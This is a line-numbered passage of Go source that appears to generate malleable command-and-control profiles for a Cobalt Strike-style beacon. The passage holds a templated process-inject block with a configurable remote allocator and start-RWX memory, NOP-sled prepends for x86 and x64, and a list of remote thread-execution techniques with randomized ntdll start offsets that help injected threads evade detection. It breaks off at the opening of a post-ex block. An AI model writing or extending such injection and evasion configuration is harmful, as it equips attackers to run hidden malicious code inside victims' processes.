| 1579 | ` |
| 1580 | } |
| 1581 | func Process_Inject_Struct() string { |
| 1582 | return ` |
| 1583 | |
| 1584 | process-inject { |
| 1585 | # set remote memory allocation technique |
| 1586 | set allocator "{{.Variables.injector}}"; |
| 1587 | |
| 1588 | # shape the content and properties of what we will inject |
| 1589 | set min_alloc "{{.Variables.processinject_min_alloc}}"; |
| 1590 | set userwx "false"; |
| 1591 | set startrwx "true"; |
| 1592 | |
| 1593 | transform-x86 { |
| 1594 | prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # NOP, NOP! |
| 1595 | } |
| 1596 | |
| 1597 | transform-x64 { |
| 1598 | prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # NOP, NOP! |
| 1599 | } |
| 1600 | |
| 1601 | # specify how we execute code in the remote process |
| 1602 | execute { |
| 1603 | ObfSetThreadContext "ntdll!TpReleaseCleanupGroupMembers+0x{{.Variables.ThreadStartNumv2}}"; |
| 1604 | CreateThread "ntdll.dll!RtlUserThreadStart+0x{{.Variables.ThreadStartNum}}"; |
| 1605 | NtQueueApcThread-s; |
| 1606 | SetThreadContext; |
| 1607 | CreateRemoteThread; |
| 1608 | CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; |
| 1609 | RtlCreateUserThread; |
| 1610 | } |
| 1611 | } |
| 1612 | ` |
| 1613 | } |
| 1614 | func Beacon_PostEX_Struct() string { |
| 1615 | return ` |
| 1616 | post-ex { |